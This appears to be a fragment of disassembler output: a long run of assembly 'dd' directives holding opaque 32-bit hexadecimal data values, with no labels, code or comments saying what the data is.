		dd 17170FE3h, 0AA00275Dh, 980674CEh, 92340081h,	0DFD1DC54h
		dd 327A13FEh, 727E0C01h, 0C8EAA831h, 1D89260h, 803042E7h
		dd 0F08DC6BAh, 0E93E481Dh, 0E3C21F72h, 3CD52200h, 7A67559h
		dd 2F695B05h, 14D8730Fh, 0D167A8D0h, 21FF2A00h,	9F9EF26Fh
		dd 0FBC8A043h, 264700A2h, 0E2DD1935h, 5D12AC1Ah, 5200205Ch
		dd 90C5CD2Fh, 0F30A0096h
		dd 7EFFDD12h, 0AE00B53Bh, 0AFA35BD5h, 16D41ADh,	3A647940h
		dd 0D53CE0B8h, 0E547E460h, 9C91EC0Eh, 80C10F7Fh, 874BAE7h
		dd 8F8D0783h, 0EE04BBFCh, 0BF85F280h, 3600CBB3h, 5B2D00Fh
		dd 56DA03h, 323D34EBh, 0E1C1A25Eh, 5CC9EF00h, 0CF22839Ah
		dd 6FBA0010h, 326D7D80h, 6B01143Fh, 0A2D3264Bh,	65D80C8Dh
		dd 0F32400B7h, 4CE05B36h, 4DF42755h, 0F2E82100h, 2EBD13A7h
		dd 724F00CCh, 50E1556h,	9E037C8Eh, 47DFC85Dh, 1C4C74DBh
		dd 405F432Bh, 5927A5F6h, 29005564h, 0E34F5670h,	91BE8Fh
		dd 8ACADF81h, 9F93C94Ch, 3DE21400h, 0C8E1425Ch,	9AE50775h
		dd 0E1AC3h, 746C47Ch, 7A1F1B90h, 2DC0202Ch, 6CF8D1A7h
		dd 775F00BBh, 9318F5C5h, 3900289Bh, 6E45958Dh, 12BD9DE0h
		dd 0AC483656h, 7A8607D0h, 6E7F76A7h, 0BC4CE099h, 3A854Ah
		dd 0FF1E0872h, 5F8010B6h, 0C34E1D07h, 0F5507973h, 0E778CAh
		dd 0A93A99Dh, 0D8CB9437h, 0E9806700h, 9AE20EF9h, 0D080575h
		dd 1C2EF40Ch, 0BA3B84ECh, 0AF28F2h, 0A4B25121h,	9D71ADEEh
		dd 373BD400h, 49E8D127h, 0EC93B804h, 869F00A5h,	1DA71571h
		dd 983B7E91h, 0E5E42413h, 0D9F9803Bh, 831AED6Ch, 0AACE003Ch
		dd 0C467C96Bh, 5E28319Dh, 7400E5BDh, 97B313D1h,	18A507h
		dd 862389F9h, 3D60F556h, 2EFD5800h, 0D5C07E6Bh,	5D960020h
		dd 78166312h, 0EB0095D9h, 0CE13E1CAh, 0F025FB1h, 0DF7A394Ch
		dd 3FBE6100h, 0F80715DEh, 18576D35h, 957CC040h,	25EF0080h
		dd 7508D41Bh, 7600B7AAh, 82E6B19Fh, 55ABC3h, 0CE31E461h
		dd 890D136Ch, 0C8900E28h, 4FD2140Eh, 0E673202Ah, 0FBD736h
		dd 0B01A68A8h, 0EC311C6Bh, 80E73D00h, 1B81D508h, 4ACF0095h
		dd 471D4073h, 0C50001B2h, 5F06C291h, 0E79CF42Dh, 43E5DC00h
		dd 0AF48ED60h, 968711Ah, 4CE949C7h, 8BD79C01h, 0EC0AD025h
		dd 0AD015FF0h, 52C9453Dh, 2E306F94h, 24C2071Ah,	0B1CC7218h
		dd 30FC0F4Bh, 0EC00EBD4h, 0F2BE4C3Eh, 0D8C0CEh,	1EAA22DBh
		dd 0EB4FB8C2h, 29953C00h, 416D12ADh, 0CA1F00A7h, 34189E2Fh
		dd 0ED0F1D44h, 0C011E153h, 0F39586F1h, 886C002Eh, 616D7C1Fh
		dd 0DD7367E8h, 1A77D103h, 12105CEh, 41D33A0Eh, 0F8C1AC63h
		dd 0FE4FC94h, 7EA48B00h, 0EA8E08B4h, 0C2600CEh,	0E263C678h
		dd 5000FDDCh, 2A5B1B53h, 154433Fh, 6E799EE9h, 0E86F98D0h
		dd 0AE0072C3h, 59BCB974h, 49C8BA83h, 77D34C2h, 0CEE114E6h
		dd 0DD03A32Ah, 0D3301900h, 27EE2C62h, 4090B3h, 966DF16Fh
		dd 0B8C4820Fh, 8057DD00h, 0BB7E4BE6h, 6AA80021h, 0C3F1E1D2h
		dd 0BE0044A7h, 9E908C31h, 0A9D0Eh, 162A1A36h, 87DDF286h
		dd 1E554D00h, 468BAD95h, 2E2700C6h, 0CE5A6828h,	1C00E4BBh
		dd 0D2DEE6D7h, 1FEC2A97h, 0C7C5354h, 12909624h,	1F06507Dh
		dd 0AF8456DDh, 797E0F78h, 3C254548h, 7CE7803Bh,	0EC004E57h
		dd 3A326055h, 95C5E5h, 0BD55177h, 0B3D97247h, 1F6CCC3Ch
		dd 94801D18h, 0E259E6E8h, 0D8580013h, 1E063B11h, 7C003657h
		dd 806C65D0h, 14E5D9Dh,	481B1C84h, 8076AC29h, 41F71B4h
		dd 0D2BB24h, 498D6368h,	8E5C74Eh, 0CB3D4100h, 6D4895F3h
		dd 0FC0407FEh, 0B0ECAEE0h, 32E5C2BAh, 89CA8700h, 262E8FF9h
		dd 6F3E00F3h, 0D95A69ACh, 53009E4Bh, 7FD0E879h,	45C475h
		dd 0C8DAB07Dh, 2DDFF7B2h, 0E6261F03h, 0D09992FDh, 34AF4Ah
		dd 63FB55E4h, 8A9660DDh, 6C146900h, 77DE33Dh, 7ACE0088h
		dd 3AE6EECCh, 94007923h, 665268E1h, 1C328FD2h, 0C75131E2h
		dd 80483711h, 0EDFFE067h, 18F78102h, 605FF091h,	9B09ADFh
		dd 0B7776082h, 5480D709h, 0F13DD8DFh, 0E28F1200h, 18CC506Ah
		dd 309F03Bh, 0E82FF05Bh, 0B0F78A86h, 9D2D02CFh,	4EDE8400h
		dd 6FBDEDB4h, 0E9113E19h, 343F2F80h, 58461D67h,	70222A03h
		dd 8D6C450Ch, 488F0C90h, 13FA009Ah, 7ED79293h, 371DA010h
		dd 0E240A680h, 40E3CB41h, 8A342483h, 0A238074h,	99514D45h
		dd 8FE29600h, 60C421A9h, 7DA6755Ch, 5DA0004Bh, 22765A23h
		dd 0FA004896h, 0A7DE1DC2h, 28DD456h, 4E77A064h,	0E4407591h
		dd 0A60B383Ch, 0F2B7E5Fh, 0D09447A8h, 0BB5E2810h, 6A69C026h
		dd 144A2D17h, 8A06EE12h, 0D740081Eh, 0CE0A7C5h,	853016AAh
		dd 0D19700B8h, 0D097DC45h, 4DED4013h, 4E147000h, 0EA2C292h
		dd 0BFEA5685h, 37A0F1CFh, 0AA467F1Ch, 21C51203h, 0ADA7F9h
		dd 7338698h, 39915A9Ah,	0A4924B24h, 0C599A901h,	10C4CEB6h
		dd 3E87D0Fh, 0A5CF29EBh, 0C3B04D5Fh, 39006705h,	0EA87DA02h
		dd 0FC667DFAh, 2F0E1353h, 21F40070h, 0A5C903A6h, 2DE48C09h
		dd 0CCC800C1h, 1C26B393h, 23C6005h, 204B199Fh, 58040E5h
		dd 0ABD4D109h, 1CB6FC18h, 7FC69D0Ah, 6A60EE81h,	4094D70Eh
		dd 0E3EDF09Ch, 84EA3E00h, 0C28E3C1Dh, 1B4A079h,	0B6A40EC9h
		dd 0A1E17A58h, 0E0350CA7h, 400FF4FBh, 5F509E73h, 0B0648440h
		dd 51916Dh, 4A272DA5h, 0DA14CC10h, 8443800Fh, 0E908603Ch
		dd 5ECDB5h, 3ECBED51h, 4A108F20h, 5D25C407h, 9650E3F9h
		dd 0DF373Fh, 5CF817B6h,	452F53D0h, 61864102h, 87EA0543h
		dd 38506890h, 315ADC3h,	44C093F2h, 30E71133h, 0BAB3C816h
		dd 0FE658201h, 0D825DB8Bh, 0F064ECh, 0BE28DC5h,	0A3E80C5Eh
		dd 0DC6DCC01h, 3ABF6FD1h, 2E088460h, 784C209Fh,	7034A2Ch
		dd 0EB1ACC18h, 6F40F122h, 0F84024h, 0FD3D70DAh,	0D8792BCBh
		dd 0C100E07Bh, 1F603514h, 74B3F22Ah, 0F72E00A4h, 9A5E333Eh
		dd 49019B38h, 723993C2h, 2C20297Ch, 98BE1E4Eh, 1BADC050h
		dd 0AFF575B3h, 0E0542002h, 817D64DDh, 0FC2383D0h, 341020h
		dd 2BC4692Dh, 1B2F0FD3h, 280060E8h, 9B9E5D21h, 0EA1851h
		dd 43C655E5h, 5488D079h, 2D83600h, 4AFCC834h, 90BF986Ah
		dd 0DB5B2C18h, 753C025Ch, 0E88A7EA5h, 0D2890378h, 39B2422h
		dd 0F4D613C8h, 5F0BC13h, 36DCBC00h, 24B6B0BBh, 0F4448Fh
		dd 0AC753D2Ch, 1A2CABFBh, 9C8FACA9h, 26A08071h,	0B074B158h
		dd 44FA74A8h, 0E30099B3h, 0C7A4424Bh, 225B91h, 367A56DEh
		dd 9D10278Fh, 2FAD1700h, 328144E5h, 1C6AB0C6h, 727BFB5Ah
		dd 5461EEA8h, 2E3C201Bh, 809A4938h, 0B8BA41F3h,	2EDD223h
		dd 5BAF20DBh, 984051AEh, 4900280Eh, 0F12C4726h,	0EF1031h
		dd 0CB6A3770h, 0A61C33Bh, 0EC49E700h, 6F301F0Bh, 4B4F07DBh
		dd 552F6F3h, 96A400C7h,	0E6090AFAh, 91797004h, 458035BEh
		dd 1C5668FDh, 89AF829Dh, 0F0001B40h, 0E4849CBCh, 618B3D00h
		dd 0D65D3101h, 0F7EEBAh, 0EFF11CB2h, 0FA97514h,	0A1B9862Ch
		dd 5AD55000h, 2CF00BA4h, 3F8D13h, 0C24DB0A8h, 3060EAD1h
		dd 7032388h, 0B55890AEh, 0F8002C50h, 742BEF86h,	0F753CBh
		dd 0B85F240Bh, 5934CE51h, 0D2B54D00h, 0E319A1FEh, 49397EAAh
		dd 40016CE0h, 73A99DBCh, 0F0CEE4BDh, 80714B26h,	2EF76980h
		dd 1482407Dh, 0BC1FB6E5h, 7F3ABD80h, 70EB20A8h,	0E312D357h
		dd 0C8908FCFh, 74C8C3D7h, 0B8F801B5h, 0DA584106h, 0C47FCC3Dh
		dd 0B25BB302h, 6059EA7Ch, 89CA498h, 18FDDFACh, 6AAE3E00h
		dd 3598720h, 4582EF5Eh,	55EBA2F0h, 8C630B80h, 0D5B7190Ch
		dd 184CA822h, 0D06FBF95h, 2905C9A5h, 49F74AEDh,	7507C0C8h
		dd 2D0C006Ah, 0ADF459Ah, 0E800EB02h, 5F220D03h,	2484FAC9h
		dd 182871h, 4F147B8Eh, 0A800F4F9h, 27D810Ah, 3961CACh
		dd 0BE8F6CFDh, 95A83E27h
		dd 810045E5h, 25A4CC0h,	0D6F7FAh, 0C78EDE8Ch, 26063C2Ch
		dd 9E4AD814h, 6E4E009Ch, 3451CDE2h, 335609A4h, 18001F68h
		dd 3BEE7E8Ah, 1B907B26h, 0A6BD0400h, 511513h, 7C79F45Ch
		dd 17DB4DCFh, 0FF597800h, 0B86F8999h, 60F60334h, 8021D8A3h
		dd 4062A4F8h, 330000B8h, 3807E215h, 38B4778h, 454B5822h
		dd 0C7C5FD7Fh, 0C4C8038h, 0F103A927h, 0FBA25086h, 0E6900387h
		dd 2BE5BDCh, 0B68FB200h, 0F06FB8DEh, 0D0B0067h,	0CDA4AF58h
		dd 8D00A6A9h, 7726DBDFh, 122AD989h, 0C990A2h, 84578204h
		dd 0A40059F1h, 4C5D228Dh, 7523E024h, 0A0D30053h, 601C8A9Ah
		dd 0A900A140h, 154AE975h, 3E300E8Bh, 0FFA5B2h, 7BF1B873h
		dd 0EFDE4248h, 0C531FB00h, 5C554CB3h, 0E8B0C2D7h, 98A1A7F1h
		dd 0F190C0C1h, 0C2003489h, 9B1EE900h, 0BB558FDBh, 0C61F1EAEh
		dd 0D6CA40F2h, 0E37D3C93h, 8FDF9A00h, 2A54D325h, 7A7CD4h
		dd 0D248B483h, 1DBDED8h, 1F516E02h, 0E086B8E7h,	0CD7800h
		dd 275E75BFh, 359656DBh, 0ED072973h, 79ACA6A1h,	23C15F0h
		dd 3D540006h, 709FA5D0h, 5B002D32h, 0CF8B08CAh,	3933417Eh
		dd 2880E30Bh, 0A0ADAAA2h, 461FB5FEh, 82F8D2DBh,	0B49470B7h
		dd 0F87840EFh, 732B00DEh, 0C302EC07h, 0C5B017D2h, 270BF77Eh
		dd 5110578h, 0EE00CCA0h, 9207C90Ch, 6476260Eh, 0F58F3ABBh
		dd 616F3E1Ah, 274869E0h, 0C8009C30h, 9E88ECF7h,	9BAE34h
		dd 575155B9h, 58326441h, 0D442EF00h, 243D5666h,	3B7B4Fh
		dd 821CA45Ch, 0D84BF4F8h, 200D9F0h, 596387E7h, 0BD40F6Eh
		dd 0A83B20A3h, 0A5989B80h, 9700055Eh, 802EAF1Bh, 0EE0384h
		dd 0CC73083Ah, 0EB6C938Bh, 95DC0A00h, 0B8974F4Eh, 16040EEAh
		dd 6DC7D92h, 0B046A0D0h, 93E0C60Eh, 0A76200DDh,	50070Dh
		dd 5621F36Ch, 0F5F66F5Ch, 8304C53Eh, 0A415AFBh,	0DE820087h
		dd 353396C3h, 0CE00AB3Ch, 0C9EFC620h, 59AAE5h, 0B37FC78Dh
		dd 0EA9280BCh, 3A31F71Dh, 6D0D0640h, 0BFE7B2h, 521A46D2h
		dd 0F488874Fh, 1DAF58h,	73ACB0F0h, 0A8C91Dh, 0B6106D5Bh
		dd 85C107B5h, 39E01400h, 67BF0C0h, 0C789008Eh, 0C54E66EEh
		dd 0F5001747h, 0E9B5A453h, 7560AB93h, 8108007Ch, 0F8EE61A8h
		dd 91008C4Fh, 282F69A5h, 0C8ACC6h, 85565FFFh, 0CC4DF222h
		dd 0A2F4C507h, 66C14E13h, 84ECC430h, 6DAD01EEh,	653B6029h
		dd 0A0AC4794h, 646C5BA6h, 0A8F5F42Ah, 5F599203h, 0DF4E173Ah
		dd 1EEAAF90h, 60CF0007h, 93D0D20Bh, 8DB0C29Ah, 0D1D46E00h
		dd 0DC259C7Bh, 638E0015h, 0CD1CB01Bh, 0A000352Fh, 936A5AC5h
		dd 4CD3BDh, 38E8D8C8h, 0FFF3A37Fh, 2620ACA0h, 9501C100h
		dd 0F5CF5F99h, 393100D1h, 0E1D4820Dh, 0E20066C2h, 0F15AF4CCh
		dd 0D572AFh, 55DA3B54h,	62CB2014h, 1507B07Ch, 0B67CEF1Ah
		dd 112580C9h, 9206E3F9h, 7DA80130h, 8ACD0F4Ch, 25406003h
		dd 0A9C38501h, 53789BD7h, 0FEBEDCh, 0B33EF34Eh,	5F58F008h
		dd 0E4107F07h, 0EC71B7CAh, 272047AEh, 68BF0048h, 0CFC8F339h
		dd 7000E020h, 6129654Dh, 278404h, 82A8CEC5h, 9EE60CC3h
		dd 15BBBE00h, 1A232B47h, 4CE100DDh, 0BCCA82FEh,	980F7410h
		dd 456A7E1Eh, 8C00917Dh, 7B65B649h, 0CEC0073h, 0F8C05C03h
		dd 0DF0014FEh, 4F50B8C7h, 36CDA6h, 6AB6E4D6h, 0A864DA97h
		dd 89008471h, 8D8CE7D3h, 74DD708h, 0EB0F20AEh, 15A89027h
		dd 0A10069D5h, 0FF2CE1B1h, 0D7A72Bh, 24C125A4h,	151CFB66h
		dd 0B31BDE07h, 6EB1EFA0h, 25C467CBh, 84A10157h,	140C17E1h
		dd 5D2FC8B4h, 0F7706900h, 8FEB6D05h, 87F01C6h, 0EF21FCF9h
		dd 1FFDE057h, 0F6D75F02h, 0C07C0165h, 0AA1398h,	0A949E9F5h
		dd 80AEE199h, 8A4F6E00h, 258229F4h, 1CC073C6h, 0E2D493h
		dd 0DDA8193Ah, 0FB793DB3h, 8409D079h, 805B6E63h, 0C74107D0h
		dd 2C3E0138h, 0CE3AE0Eh, 65C0FB67h, 0FB00D573h,	0F492FF0Dh
		dd 2B7691h, 897285CDh, 2804473Bh, 8D3F41F8h, 4FFC0321h
		dd 0A836CAE7h, 0E64CADh, 9554D861h, 2ACBDA57h, 3D53EA00h
		dd 8E82C6E9h, 0F450003Ch, 71F613BEh, 8303AEC5h,	3A9F7B7Fh
		dd 0AF04FB57h, 976031D7h, 2DC6ACh, 187C530Bh, 41E11DB7h
		dd 0F4C29009h, 0A50D8011h, 1EC629DAh, 0C0141567h, 3454FE0Bh
		dd 7D00B294h, 0C5063937h, 7C11B5A8h, 4BF4E4h, 5BB435E6h
		dd 0DAC609E5h, 0A9B0200h, 52A80D22h, 26A038C9h,	5B9AC700h
		dd 0FFCE4F1Fh, 0A608B000h, 3A7A18E5h, 39B35CDCh, 0CAC3801h
		dd 80B05DB4h, 99059010h, 1802C75h, 497B41A2h, 0C0DACB8Eh
		dd 0B0E82D4h, 80212D4Ah, 33CF9EC6h, 0D6880070h,	137EB366h
		dd 2BF287F4h, 5D099F00h, 5E1426E2h, 3FB10093h, 0A528DD4Bh
		dd 0FE004F2Fh, 1884637Ah, 0EC32276Ah, 0C4BA013Ch, 0AF556020h
		dd 8FAED8EEh, 1C934104h, 0C501E9EBh, 60BECBAAh,	0A8A04341h
		dd 6412EA74h, 0A700277Ah, 0E8594BE4h, 937D0010h, 4AB4986h
		dd 0B0001956h, 0DDAA6B66h, 0FFB6909h, 6DDAEDF1h, 453095E0h
		dd 372EA7A1h, 0DF0EFCD4h, 0C528C2E3h, 10B0801Dh, 0C15FE2h
		dd 15FBD278h, 5DCAAFDDh, 53980C03h, 0B0C57213h,	1F60346Fh
		dd 803B4464h, 3994300Dh, 0F6005CC2h, 4A011783h,	0BFAEDh
		dd 78BE7088h, 823526A5h, 3365C0Eh, 0BA15A081h, 0F4B709B2h
		dd 81E0DD54h, 2C454DF4h, 71A8480Ah, 0F24957Ah, 7480005Eh
		dd 92C3405Bh, 83410716h, 60B3F6C0h, 3A119E63h, 3B9DBD39h
		dd 31BF2Ah, 0F3F89A14h,	69D6E9h, 0A6972919h, 0A41BBD6Ah
		dd 48279000h, 9F0B0B3h,	0CE9F25Bh, 28845D15h, 2101082Ah
		dd 4BDB059Ch, 80BAE641h, 0E3C4C8B0h, 8E07C996h,	0E3242DCh
		dd 0AA47E880h, 0D10907C3h, 208B3C3Dh, 0B26D070h, 8090DB7Fh
		dd 81C28202h, 40A10FF1h, 0FCB83F20h, 0B5141FD8h, 4B574010h
		dd 0BDDA0E96h, 92A5AE00h, 84F4634Eh, 0CA1B00F9h, 0E3E7FDBBh
		dd 8F194B9Dh, 0CF19E8CBh, 0CC19E685h, 42944624h, 9728E4C8h
		dd 0BAF890F5h, 7212BE1Dh, 731EC900h, 0F0D9EF66h, 63B5ECCCh
		dd 0FFF5B6FCh, 0A6D31B0h, 45F3FA00h, 7FE2A33Ah,	0BE7E0042h
		dd 9C279B05h, 53004661h, 0E1FA2B7Dh, 13059B8h, 9EC7139Ah
		dd 308CA3E5h, 0B007DD12h, 77D31668h, 40AD0D82h,	0E8A226Ch
		dd 6BEF046Ah, 86FE4B00h, 6000FA7Dh, 3B9A5BD8h, 0C0C927h
		dd 6204848Dh, 9FFCAE63h, 50598F01h, 0DA7445E5h,	0C0D91AECh
		dd 0E0BC3971h, 0A63E75ABh, 75C60FEh, 0EC181563h, 724307A1h
		dd 0D0856CEDh, 61A08B4Fh, 0CB00BAF0h, 0E0D763CAh, 0C787B5Bh
		dd 47A1BD58h, 0E50B8E0h, 29099EA4h, 8E1470F7h, 63E02094h
		dd 1FFCD9Ah, 0A2CEFD04h, 2498E327h, 51087634h, 432B3E9h
		dd 0AE1B013Dh, 0BD07F2C4h, 0ECF04508h, 0BDF73Eh, 6FF629B9h
		dd 0C11351A9h, 0C8D6307h, 0B0048ACh, 3EA39206h,	0B2007FE1h
		dd 6C3FC316h, 666EDD71h, 9AD5A010h, 0FA7733h, 0EC6798D8h
		dd 0D98FC7FFh, 0C3CF2700h, 0A3327D82h, 0ADC00A7h, 0A00B706Ah
		dd 0D800FC68h, 0EC021A56h, 1C837C7Eh, 40B4C3A5h, 871C210Bh
		dd 7700499Eh, 0DF25D5D8h, 0FC0DE11h, 63578BC3h,	0BC3074E0h
		dd 0FC003CA6h, 56732737h, 0A3A108h, 26010E2Fh, 67FE8D57h
		dd 66E71300h, 903A7E2Ch, 0F092F48Ah, 7B043A2Ah,	1500F1BFh
		dd 0DC672DCCh, 595C7FEDh, 81007A36h, 40221E19h,	0BC6812h
		dd 6144A9FEh, 5E7E8B6Ah, 23B2B100h, 0D3BBC56Eh,	0D2E80031h
		dd 1B271CE3h, 37009B43h
		dd 5740449Ah, 5105683h,	201816F7h, 0BAB7C131h, 0E83AE1D4h
		dd 4900B2C5h, 0D2B995D0h, 29897C3h, 0EBF04C52h,	1BE05ACFh
		dd 19389E56h, 415F80DCh, 8F6E004h, 0DF900020h, 48B6570Bh
		dd 7BE6DDC3h, 32C5A81Eh, 4276C280h, 3E5538h, 0D299A14Dh
		dd 4AD6EE3Ch, 0D90319FAh, 78154F9Ch, 0A8BCFB2Ch, 17078AEDh
		dd 3168E22h, 60A6834Ch,	4BE8C28Bh, 0CB00EEB7h, 9D49AEF5h
		dd 3781FAFh, 0B2C37154h, 98B88407h, 892C0156h, 0E5000432h
		dd 7C3C31B1h, 81350F4Eh, 9BE304C4h, 7EC86F9Ah, 4C002F2Eh
		dd 28340F72h, 55C1592h,	3908E89Dh, 1D3DC019h, 481CDE7Eh
		dd 14C011D7h, 0D27A915Ch, 616400DDh, 0BF06A333h, 0F6001AF8h
		dd 0CEF50588h, 12B1FEh,	4C9DA5E1h, 327B0837h, 9F14C700h
		dd 8C69AC7Dh, 9C1E604h,	0D5CB5CE3h, 5507BD50h, 52F356ECh
		dd 20A7207Fh, 7D77A6A2h, 12EAF1h, 835005D0h, 0D9D8034Fh
		dd 0A8F7BD00h, 8B552FCh, 44300069h, 56D4F81Dh, 3F01E229h
		dd 0DBB28AF4h, 5DC81AFBh, 49790041h, 0FE933E80h, 0EC0053F7h
		dd 0B25213E5h, 0E68D70h, 3849C721h, 0A37E4F2Eh,	54F71F00h
		dd 39DBB127h, 3EF7F23h,	0C972093Eh, 0A0D0FD05h,	0D500ACBBh
		dd 0D4CC606Ch, 3142A3h,	9562702Bh, 7780828Ch, 4E007DB8h
		dd 13D5364Fh, 2E177256h, 0AC221E2h, 390F6F7h, 6BF59882h
		dd 250E5800h, 46BA0CEAh, 4A4207BFh, 69A786FCh, 0E0FEA200h
		dd 9A00A354h, 1BD8CA9h,	1C0A2F0Eh, 8063280Bh, 0A0E3CCFFh
		dd 0C203AECFh, 0C43904F5h, 9A70B73Dh, 0B68F2Eh,	2514644h
		dd 2773FCE4h, 63795A00h, 0D2B198BEh, 3E8D3A2Dh,	0ED802CB8h
		dd 25E0B37Eh, 8B00AA48h, 0E53B7F38h, 1303D6Eh, 804CE4C4h
		dd 0FCCB83ADh, 50F8DB7Dh, 0DA83600h, 0B744E58Fh, 3F5C0023h
		dd 0E96DC376h, 89002FD9h, 0DDA85543h, 39AD8226h, 4480C742h
		dd 7C6E97FFh, 9E003D4Ch, 3562664Dh, 941586h, 386C710Eh
		dd 0B312480Fh, 85E2D207h, 0F050FC65h, 3664B1Fh,	0C9953087h
		dd 1BE09963h, 0C83B5DFEh, 91098020h, 4E670ACh, 0E1142CB5h
		dd 6AD10704h, 0B2D620E4h, 0A5502693h, 0CC097DC0h, 20AA37h
		dd 79C71848h, 0C2D70021h, 0B1D59AA7h, 431CBA41h, 0F1C092EDh
		dd 7FB53F74h, 0B7BE00B9h, 0EAD71915h, 9A78FDE1h, 90F7D000h
		dd 0C8B16C6Ah, 0C49C00A2h, 630C5115h, 1400CD48h, 7216ADCFh
		dd 0F9B2E52h, 0D85F0E4Ch, 0DFA44F20h, 76268BD4h, 2828BE7Dh
		dd 15006543h, 0D2B09D31h, 7E00BEA7h, 18FBF384h,	0B145CBh
		dd 720834FAh, 0D0B65E9Ah, 64999100h, 9480ACA7h,	224800CCh
		dd 39EA6CC4h, 0C503A662h, 0CF3AD1B6h, 9B87889Fh, 0F30B000Fh
		dd 0D526E3F0h, 0F2004099h, 0B1F1BEAEh, 0E6D65D0h, 75E628EAh
		dd 9FC40140h, 0A0004D43h, 786C774Bh, 128F8088h,	787814Ch
		dd 0D3A4E710h, 9000CD56h, 0B36A462Dh, 0E3E561C3h, 524720h
		dd 6ED1D451h, 2DD82F9Eh, 804E3B3Ch, 74449A8h, 4C2509A5h
		dd 0F000D6E9h, 3628C6F5h, 170E08FFh, 0BB7AC5Ch,	392C01E0h
		dd 19800E3Bh, 0B4AA4EB1h, 9D7B18C6h, 8A0C7575h,	200990E4h
		dd 3498D8h, 3BF2B1Eh, 0D7206405h, 0F0FCD32Ch, 0F0C9C707h
		dd 0D8ED9530h, 0E85D0748h, 209667E3h, 5BF54DF4h, 0A7065898h
		dd 8AFCBA6Ch, 476838C8h, 28DC5909h, 7C89400h, 0D43F65F7h
		dd 37E50008h, 724B40EAh, 0FC2D145Eh, 2202C033h,	0A9730D23h
		dd 0A8CBD080h, 4F1C18C7h, 604028BAh, 0D2FE05E1h, 7BC0148Dh
		dd 20008477h, 32BECCBFh, 2500A780h, 0F447DD21h,	469112Dh
		dd 98586265h, 0F48C0FCh, 2C0003B5h, 8DAC52F8h, 0F3DD84Bh
		dd 0A1930EEEh, 2909F347h, 9B2BF900h, 0F407C75Bh, 0E4B6C485h
		dd 0DB76A0F0h, 2674000Bh, 0AE2F96A1h, 900EC975h, 20A9B743h
		dd 0D4DA6AF4h, 3D0100AAh, 0B61E5D1h, 9200F81Bh,	0CF818BE0h
		dd 7624E8C8h, 6BA8004Fh, 36ED3A8Dh, 5F7C4A16h, 6DBDF51Ch
		dd 1C88A794h, 1E8064E2h, 39CBEAAEh, 6B5A2447h, 0FB7B8068h
		dd 0EE8F1CB5h, 8577E600h, 0BB274576h, 0FA10000Fh, 6B75A15Fh
		dd 680059E8h, 0EEDAF92Fh, 14141121h, 0D55A8F82h, 3033CC26h
		dd 6E12B350h, 64B5B424h, 1626F701h, 0E4344EE0h,	54D248F8h
		dd 9DA9CAF0h, 191755E4h, 0FF00C7C1h, 3A9AEC1Eh,	3ACB0AEh
		dd 0C673EDE8h, 89E049B3h, 0C90068E0h, 0FD3A9C21h, 7D518Ah
		dd 0AFC787EFh, 8E373F99h, 20EC120Eh, 640FD6EBh,	0FF1B2007h
		dd 75D2C252h, 0A03D13E0h, 17C40C2Fh, 8201E449h,	0E2EC5B4Ah
		dd 39D818A9h, 0A25E6063h, 0F4285AACh, 26E43C0Eh, 2EBE155h
		dd 0D4D92F4Ch, 1708BE4h, 7229D1CCh, 0CF9C5E0Dh,	154BF900h
		dd 5C2E326h, 0CE443B97h, 0B02DEB80h, 0BCFE5818h, 503FB7E6h
		dd 3414804Eh, 9B6944EEh, 0C3F500CAh, 247E40FCh,	0E124A72Bh
		dd 6416D963h, 0BDD04E03h, 0A58AA0B5h, 2FAC026Ah, 0B205D4FCh
		dd 761DC0F7h, 0A13700FFh, 0AD69BA95h, 0C898283Ah, 77C9901h
		dd 92B1C544h, 304CE0D2h, 113401D0h, 97C194B0h, 6BE430AEh
		dd 0CFA7FE01h, 0B324F45Bh, 80595840h, 0B3E94801h, 64A8470Fh
		dd 6A3C5AA0h, 0EE06546h, 0ED619D1Eh, 48303B40h,	8B1AA1h
		dd 0FF226C0Fh, 655AA227h, 9B95DE00h, 0BC56752Dh, 17320223h
		dd 3172A0F3h, 0B78D2AC0h, 2C8FD503h, 903D3E28h,	77759978h
		dd 0E36700EEh, 0FA823222h, 0D739B005h, 0C4BD801Eh, 81CFE692h
		dd 28EF629Dh, 0BCE0DAFBh, 74131BABh, 0A400BDA1h, 110B1E82h
		dd 0AAFA003Dh, 60E6E24Bh, 0B100962Eh, 0C83A4775h, 73F055B8h
		dd 0A09C00E1h, 576474AEh, 0BC00B272h, 3D778D07h, 6DAACh
		dd 62E8F4D0h, 0DE78082Bh, 23F034B2h, 3139870Eh,	0FEC01E20h
		dd 7C9BFABBh, 808630CCh, 0E1130F88h, 256631C0h,	7462E7A5h
		dd 14F674EDh, 28410836h, 872E7C0Ch, 0B600F939h,	46FA88FFh
		dd 7EEA4FEh, 0FD392926h, 0C615C1AEh, 0ECE980BCh, 6A52848h
		dd 48406F21h, 0BFDE1483h, 0C93F2103h, 3FBA2A1Fh, 0D8D8711h
		dd 0A38EF9Fh, 0D6187844h, 4D383986h, 5CE0C034h,	0B915443Eh
		dd 243D3CA0h, 0A0F94030h, 729FDA88h, 0A9E1004Ch, 612C2E5Ah
		dd 0CEE0A4C6h, 38A78518h, 30C39694h, 0D9542BBDh, 0E158F52Eh
		dd 0E7EA0048h, 6004E91Bh, 0F4C50035h, 51FD4B9Eh, 0B81F7232h
		dd 8DC0BC5Bh, 0E2D83D26h, 8AE500B0h, 2D809BFEh,	241CC4D3h
		dd 9F00CFFCh, 6402F0C5h, 6B8F0EC8h, 0EC279136h,	73FA90DBh
		dd 0D100E58Ch, 9349BF0Ah, 116AFBh, 0E483F4FFh, 86D0BEA1h
		dd 72031BF8h, 0F2D2A9DEh, 959CE0EEh, 83980034h,	0C8BA618Ch
		dd 0E570CE97h, 0DD87DF0Fh, 0BF1D65F1h, 6F2CE000h, 289E601Ch
		dd 0A1A83932h, 4FC42D9Fh, 28341D48h, 0D62E0F5Eh, 5A22BD80h
		dd 19007C60h, 0B3B0E159h, 309708AAh, 0A809BEB6h, 0BF00FCD6h
		dd 16EFCEA1h, 0B8C66245h, 0C7270F85h, 0AD80C4E1h, 38F886AFh
		dd 0AB1CE190h, 0EFCFCA51h, 1ADEE7C8h, 688593D0h, 78971E73h
		dd 0F75E8064h, 99CDF3AFh, 1B72B000h, 18C9B15Fh,	1EE17EF6h
		dd 0BF6306BAh, 0D3AF7080h, 3993FB64h, 10C18F00h, 9E24E9CFh
		dd 6304071Dh, 17A1AE79h, 0E884CEBh, 0B59DAC01h,	69D962D6h
		dd 0D07081DDh, 0CAEF00BFh, 35030C01h, 5E0F96ADh, 4060FADBh
		dd 0E28C2D30h, 427F03A2h, 4143C0BCh, 0F3C7F9F8h, 22AB9513h
		dd 0E52FB400h, 3924C9h,	0C5099899h, 63A3AA8Eh, 340C1402h
